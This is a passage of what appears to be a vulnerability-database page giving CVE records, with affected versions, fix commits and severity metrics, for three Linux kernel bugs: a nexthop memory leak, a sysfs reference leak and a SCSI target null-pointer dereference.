            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:46.841Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv4/nexthop.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "fd06cb4a5fc7bda3dea31712618a62af72a1c6cb",
              "status": "affected",
              "version": "430a049190de3c9e219f43084de9f1122da04570",
              "versionType": "git"
            },
            {
              "lessThan": "5cc4d71dda2dd4f1520f40e634a527022e48ccd8",
              "status": "affected",
              "version": "430a049190de3c9e219f43084de9f1122da04570",
              "versionType": "git"
            },
            {
              "lessThan": "9e8f558a3afe99ce51a642ce0d3637ddc2b5d5d0",
              "status": "affected",
              "version": "430a049190de3c9e219f43084de9f1122da04570",
              "versionType": "git"
            },
            {
              "lessThan": "1377de719652d868f5317ba8398b7e74c5f0430b",
              "status": "affected",
              "version": "430a049190de3c9e219f43084de9f1122da04570",
              "versionType": "git"
            },
            {
              "lessThan": "7704460acd7f5d35eb07c52500987dc9b95313fb",
              "status": "affected",
              "version": "430a049190de3c9e219f43084de9f1122da04570",
              "versionType": "git"
            },
            {
              "lessThan": "a13d3864b76ac87085ec530b2ff8e37482a63a96",
              "status": "affected",
              "version": "430a049190de3c9e219f43084de9f1122da04570",
              "versionType": "git"
            },
            {
              "lessThan": "6d745cd0e9720282cd291d36b9db528aea18add2",
              "status": "affected",
              "version": "430a049190de3c9e219f43084de9f1122da04570",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/ipv4/nexthop.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.3"
            },
            {
              "lessThan": "5.3",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.282",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.224",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.165",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.103",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.44",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.282",
                  "versionStartIncluding": "5.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.224",
                  "versionStartIncluding": "5.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.165",
                  "versionStartIncluding": "5.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.103",
                  "versionStartIncluding": "5.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.44",
                  "versionStartIncluding": "5.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.3",
                  "versionStartIncluding": "5.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "5.3",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: nexthop: Initialize all fields in dumped nexthops\n\nstruct nexthop_grp contains two reserved fields that are not initialized by\nnla_put_nh_group(), and carry garbage. This can be observed e.g. with\nstrace (edited for clarity):\n\n    # ip nexthop add id 1 dev lo\n    # ip nexthop add id 101 group 1\n    # strace -e recvmsg ip nexthop get id 101\n    ...\n    recvmsg(... [{nla_len=12, nla_type=NHA_GROUP},\n                 [{id=1, weight=0, resvd1=0x69, resvd2=0x67}]] ...) = 52\n\nThe fields are reserved and therefore not currently used. But as they are, they\nleak kernel memory, and the fact they are not just zero complicates repurposing\nof the fields for new ends. Initialize the full structure."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:29:21.856Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/fd06cb4a5fc7bda3dea31712618a62af72a1c6cb"
        },
        {
          "url": "https://git.kernel.org/stable/c/5cc4d71dda2dd4f1520f40e634a527022e48ccd8"
        },
        {
          "url": "https://git.kernel.org/stable/c/9e8f558a3afe99ce51a642ce0d3637ddc2b5d5d0"
        },
        {
          "url": "https://git.kernel.org/stable/c/1377de719652d868f5317ba8398b7e74c5f0430b"
        },
        {
          "url": "https://git.kernel.org/stable/c/7704460acd7f5d35eb07c52500987dc9b95313fb"
        },
        {
          "url": "https://git.kernel.org/stable/c/a13d3864b76ac87085ec530b2ff8e37482a63a96"
        },
        {
          "url": "https://git.kernel.org/stable/c/6d745cd0e9720282cd291d36b9db528aea18add2"
        }
      ],
      "title": "net: nexthop: Initialize all fields in dumped nexthops",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-42283",
    "datePublished": "2024-08-17T09:08:49.866Z",
    "dateReserved": "2024-07-30T07:40:12.262Z",
    "dateUpdated": "2026-05-12T11:56:46.841Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26993 (GCVE-0-2024-26993)

Vulnerability from cvelistv5 – Published: 2024-05-01 05:28 – Updated: 2026-05-12 11:51

Title

fs: sysfs: Fix reference leak in sysfs_break_active_protection()

Summary

In the Linux kernel, the following vulnerability has been resolved: fs: sysfs: Fix reference leak in sysfs_break_active_protection() The sysfs_break_active_protection() routine has an obvious reference leak in its error path. If the call to kernfs_find_and_get() fails then kn will be NULL, so the companion sysfs_unbreak_active_protection() routine won't get called (and would only cause an access violation by trying to dereference kn->parent if it was called). As a result, the reference to kobj acquired at the start of the function will never be released. Fix the leak by adding an explicit kobject_put() call when kn is NULL.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/f28bba37fe244889b…
https://git.kernel.org/stable/c/57baab0f376bec8f5…
https://git.kernel.org/stable/c/84bd4c2ae9c3d0a7d…
https://git.kernel.org/stable/c/43f00210cb257bcb0…
https://git.kernel.org/stable/c/5d43e072285e81b0b…
https://git.kernel.org/stable/c/ac107356aabc362aa…
https://git.kernel.org/stable/c/a4c99b57d43bab452…
https://git.kernel.org/stable/c/a90bca2228c0646fc…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 2afc9166f79b8f6da5f347f48515215ceee4ae37 , < f28bba37fe244889b81bb5c508d3f6e5c6e342c5 (git) Affected: 2afc9166f79b8f6da5f347f48515215ceee4ae37 , < 57baab0f376bec8f54b0fe6beb8f77a57c228063 (git) Affected: 2afc9166f79b8f6da5f347f48515215ceee4ae37 , < 84bd4c2ae9c3d0a7d3a5c032ea7efff17af17e17 (git) Affected: 2afc9166f79b8f6da5f347f48515215ceee4ae37 , < 43f00210cb257bcb0387e8caeb4b46375d67f30c (git) Affected: 2afc9166f79b8f6da5f347f48515215ceee4ae37 , < 5d43e072285e81b0b63cee7189b3357c7768a43b (git) Affected: 2afc9166f79b8f6da5f347f48515215ceee4ae37 , < ac107356aabc362aaeb77463e814fc067a5d3957 (git) Affected: 2afc9166f79b8f6da5f347f48515215ceee4ae37 , < a4c99b57d43bab45225ba92d574a8683f9edc8e4 (git) Affected: 2afc9166f79b8f6da5f347f48515215ceee4ae37 , < a90bca2228c0646fc29a72689d308e5fe03e6d78 (git) Affected: e8a37b2fd5b5087bec6cbbf6946ee3caa712953b (git) Affected: a6abc93760dd07fcd29760b70e6e7520f22cb288 (git) Affected: 461a6385e58e8247e6ba2005aa5d1b8d980ee4a2 (git) Affected: 8a5e02a0f46ea33ed19e48e096a8e8d28e73d10a (git) Affected: c984f4d1d40a2f349503b3faf946502ccbf02f9f (git) Affected: 807d1d299a04e9ad9a9dac55419c1137a105254b (git)
Linux	Linux	Affected: 4.19 Unaffected: 0 , < 4.19 (semver) Unaffected: 4.19.313 , ≤ 4.19.* (semver) Unaffected: 5.4.275 , ≤ 5.4.* (semver) Unaffected: 5.10.216 , ≤ 5.10.* (semver) Unaffected: 5.15.157 , ≤ 5.15.* (semver) Unaffected: 6.1.88 , ≤ 6.1.* (semver) Unaffected: 6.6.29 , ≤ 6.6.* (semver) Unaffected: 6.8.8 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26993",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-01T13:37:12.333218Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-07-05T17:22:44.436Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-04T17:15:48.314Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f28bba37fe244889b81bb5c508d3f6e5c6e342c5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/57baab0f376bec8f54b0fe6beb8f77a57c228063"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/84bd4c2ae9c3d0a7d3a5c032ea7efff17af17e17"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/43f00210cb257bcb0387e8caeb4b46375d67f30c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5d43e072285e81b0b63cee7189b3357c7768a43b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ac107356aabc362aaeb77463e814fc067a5d3957"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a4c99b57d43bab45225ba92d574a8683f9edc8e4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a90bca2228c0646fc29a72689d308e5fe03e6d78"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          },
          {
            "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DAMSOZXJEPUOXW33WZYWCVAY7Z5S7OOY/"
          },
          {
            "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4EZ6PJW7VOZ224TD7N4JZNU6KV32ZJ53/"
          },
          {
            "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GCBZZEC7L7KTWWAS2NLJK6SO3IZIL4WW/"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:51:02.982Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/sysfs/file.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "f28bba37fe244889b81bb5c508d3f6e5c6e342c5",
              "status": "affected",
              "version": "2afc9166f79b8f6da5f347f48515215ceee4ae37",
              "versionType": "git"
            },
            {
              "lessThan": "57baab0f376bec8f54b0fe6beb8f77a57c228063",
              "status": "affected",
              "version": "2afc9166f79b8f6da5f347f48515215ceee4ae37",
              "versionType": "git"
            },
            {
              "lessThan": "84bd4c2ae9c3d0a7d3a5c032ea7efff17af17e17",
              "status": "affected",
              "version": "2afc9166f79b8f6da5f347f48515215ceee4ae37",
              "versionType": "git"
            },
            {
              "lessThan": "43f00210cb257bcb0387e8caeb4b46375d67f30c",
              "status": "affected",
              "version": "2afc9166f79b8f6da5f347f48515215ceee4ae37",
              "versionType": "git"
            },
            {
              "lessThan": "5d43e072285e81b0b63cee7189b3357c7768a43b",
              "status": "affected",
              "version": "2afc9166f79b8f6da5f347f48515215ceee4ae37",
              "versionType": "git"
            },
            {
              "lessThan": "ac107356aabc362aaeb77463e814fc067a5d3957",
              "status": "affected",
              "version": "2afc9166f79b8f6da5f347f48515215ceee4ae37",
              "versionType": "git"
            },
            {
              "lessThan": "a4c99b57d43bab45225ba92d574a8683f9edc8e4",
              "status": "affected",
              "version": "2afc9166f79b8f6da5f347f48515215ceee4ae37",
              "versionType": "git"
            },
            {
              "lessThan": "a90bca2228c0646fc29a72689d308e5fe03e6d78",
              "status": "affected",
              "version": "2afc9166f79b8f6da5f347f48515215ceee4ae37",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "e8a37b2fd5b5087bec6cbbf6946ee3caa712953b",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "a6abc93760dd07fcd29760b70e6e7520f22cb288",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "461a6385e58e8247e6ba2005aa5d1b8d980ee4a2",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "8a5e02a0f46ea33ed19e48e096a8e8d28e73d10a",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "c984f4d1d40a2f349503b3faf946502ccbf02f9f",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "807d1d299a04e9ad9a9dac55419c1137a105254b",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/sysfs/file.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.19"
            },
            {
              "lessThan": "4.19",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.313",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.275",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.216",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.157",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.88",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.29",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.8",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.313",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.275",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.216",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.157",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.88",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.29",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.8",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "4.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "3.16.62",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "3.18.121",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.4.154",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.9.125",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.14.68",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.18.6",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs: sysfs: Fix reference leak in sysfs_break_active_protection()\n\nThe sysfs_break_active_protection() routine has an obvious reference\nleak in its error path.  If the call to kernfs_find_and_get() fails then\nkn will be NULL, so the companion sysfs_unbreak_active_protection()\nroutine won\u0027t get called (and would only cause an access violation by\ntrying to dereference kn-\u003eparent if it was called).  As a result, the\nreference to kobj acquired at the start of the function will never be\nreleased.\n\nFix the leak by adding an explicit kobject_put() call when kn is NULL."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:08:20.247Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/f28bba37fe244889b81bb5c508d3f6e5c6e342c5"
        },
        {
          "url": "https://git.kernel.org/stable/c/57baab0f376bec8f54b0fe6beb8f77a57c228063"
        },
        {
          "url": "https://git.kernel.org/stable/c/84bd4c2ae9c3d0a7d3a5c032ea7efff17af17e17"
        },
        {
          "url": "https://git.kernel.org/stable/c/43f00210cb257bcb0387e8caeb4b46375d67f30c"
        },
        {
          "url": "https://git.kernel.org/stable/c/5d43e072285e81b0b63cee7189b3357c7768a43b"
        },
        {
          "url": "https://git.kernel.org/stable/c/ac107356aabc362aaeb77463e814fc067a5d3957"
        },
        {
          "url": "https://git.kernel.org/stable/c/a4c99b57d43bab45225ba92d574a8683f9edc8e4"
        },
        {
          "url": "https://git.kernel.org/stable/c/a90bca2228c0646fc29a72689d308e5fe03e6d78"
        }
      ],
      "title": "fs: sysfs: Fix reference leak in sysfs_break_active_protection()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26993",
    "datePublished": "2024-05-01T05:28:02.462Z",
    "dateReserved": "2024-02-19T14:20:24.206Z",
    "dateUpdated": "2026-05-12T11:51:02.982Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-50153 (GCVE-0-2024-50153)

Vulnerability from cvelistv5 – Published: 2024-11-07 09:31 – Updated: 2026-05-12 12:00

Title

scsi: target: core: Fix null-ptr-deref in target_alloc_device()

Summary

In the Linux kernel, the following vulnerability has been resolved: scsi: target: core: Fix null-ptr-deref in target_alloc_device() There is a null-ptr-deref issue reported by KASAN: BUG: KASAN: null-ptr-deref in target_alloc_device+0xbc4/0xbe0 [target_core_mod] ... kasan_report+0xb9/0xf0 target_alloc_device+0xbc4/0xbe0 [target_core_mod] core_dev_setup_virtual_lun0+0xef/0x1f0 [target_core_mod] target_core_init_configfs+0x205/0x420 [target_core_mod] do_one_initcall+0xdd/0x4e0 ... entry_SYSCALL_64_after_hwframe+0x76/0x7e In target_alloc_device(), if allocing memory for dev queues fails, then dev will be freed by dev->transport->free_device(), but dev->transport is not initialized at that time, which will lead to a null pointer reference problem. Fixing this bug by freeing dev with hba->backend->ops->free_device().

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-476 - NULL Pointer Dereference

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/8c1e6717f60d31f8a…
https://git.kernel.org/stable/c/39e02fa9032324318…
https://git.kernel.org/stable/c/895ab729425ef9bf3…
https://git.kernel.org/stable/c/b80e9bc85bd9af378…
https://git.kernel.org/stable/c/14a6a2adb440e4ae9…
https://git.kernel.org/stable/c/fca6caeb4a61d240f…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 008b936bbde3e87a611b3828a0d5d2a4f99026a0 , < 8c1e6717f60d31f8af3937c23c4f1498529584e1 (git) Affected: 1526d9f10c6184031e42afad0adbdde1213e8ad1 , < 39e02fa90323243187c91bb3e8f2f5f6a9aacfc7 (git) Affected: 1526d9f10c6184031e42afad0adbdde1213e8ad1 , < 895ab729425ef9bf3b6d2f8d0853abe64896f314 (git) Affected: 1526d9f10c6184031e42afad0adbdde1213e8ad1 , < b80e9bc85bd9af378e7eac83e15dd129557bbdb6 (git) Affected: 1526d9f10c6184031e42afad0adbdde1213e8ad1 , < 14a6a2adb440e4ae97bee73b2360946bd033dadd (git) Affected: 1526d9f10c6184031e42afad0adbdde1213e8ad1 , < fca6caeb4a61d240f031914413fcc69534f6dc03 (git)
Linux	Linux	Affected: 5.11 Unaffected: 0 , < 5.11 (semver) Unaffected: 5.10.229 , ≤ 5.10.* (semver) Unaffected: 5.15.170 , ≤ 5.15.* (semver) Unaffected: 6.1.115 , ≤ 6.1.* (semver) Unaffected: 6.6.59 , ≤ 6.6.* (semver) Unaffected: 6.11.6 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-50153",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-01T20:20:40.816008Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-476",
                "description": "CWE-476 NULL Pointer Dereference",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-01T20:27:13.057Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:26:11.802Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:00:25.020Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/target/target_core_device.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "8c1e6717f60d31f8af3937c23c4f1498529584e1",
              "status": "affected",
              "version": "008b936bbde3e87a611b3828a0d5d2a4f99026a0",
              "versionType": "git"
            },
            {
              "lessThan": "39e02fa90323243187c91bb3e8f2f5f6a9aacfc7",
              "status": "affected",
              "version": "1526d9f10c6184031e42afad0adbdde1213e8ad1",
              "versionType": "git"
            },
            {
              "lessThan": "895ab729425ef9bf3b6d2f8d0853abe64896f314",
              "status": "affected",
              "version": "1526d9f10c6184031e42afad0adbdde1213e8ad1",
              "versionType": "git"
            },
            {
              "lessThan": "b80e9bc85bd9af378e7eac83e15dd129557bbdb6",
              "status": "affected",
              "version": "1526d9f10c6184031e42afad0adbdde1213e8ad1",
              "versionType": "git"
            },
            {
              "lessThan": "14a6a2adb440e4ae97bee73b2360946bd033dadd",
              "status": "affected",
              "version": "1526d9f10c6184031e42afad0adbdde1213e8ad1",
              "versionType": "git"
            },
            {
              "lessThan": "fca6caeb4a61d240f031914413fcc69534f6dc03",
              "status": "affected",
